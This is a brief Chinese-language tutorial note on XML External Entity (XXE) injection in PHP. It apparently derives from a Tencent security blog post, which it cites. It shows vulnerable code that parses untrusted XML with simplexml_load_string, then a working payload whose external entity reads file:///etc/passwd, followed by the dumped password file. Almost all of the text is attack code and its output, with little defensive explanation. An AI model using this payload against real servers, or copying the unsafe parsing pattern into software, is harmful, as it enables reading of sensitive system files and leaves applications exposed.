XXE

php 样例代码:

<?
$data = simplexml_load_string($xml);
print_r($data)
?>

php读取任意文件

<?php
$xml=<<<EOF
<?xml version="1.0" ?>
<!DOCTYPE ANY[
        <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x>&xxe;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data)
?>

php xxe.php

SimpleXMLElement Object

(

\[xxe\] => SimpleXMLElement Object

    \(

        \[xxe\] => root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/bin/sh

man:x:6:12:man:/var/cache/man:/bin/sh

lp:x:7:7:lp:/var/spool/lpd:/bin/sh

mail:x:8:8:mail:/var/mail:/bin/sh

news:x:9:9:news:/var/spool/news:/bin/sh

uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh

proxy:x:13:13:proxy:/bin:/bin/sh

www-data:x:33:33:www-data:/var/www:/bin/sh

backup:x:34:34:backup:/var/backups:/bin/sh

list:x:38:38:Mailing List Manager:/var/list:/bin/sh

irc:x:39:39:ircd:/var/run/ircd:/bin/sh

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh

libuuid:x:100:101::/var/lib/libuuid:/bin/sh

syslog:x:101:103::/home/syslog:/bin/false

参考文献:

腾讯XXE讲解

https://security.tencent.com/index.php/blog/msg/69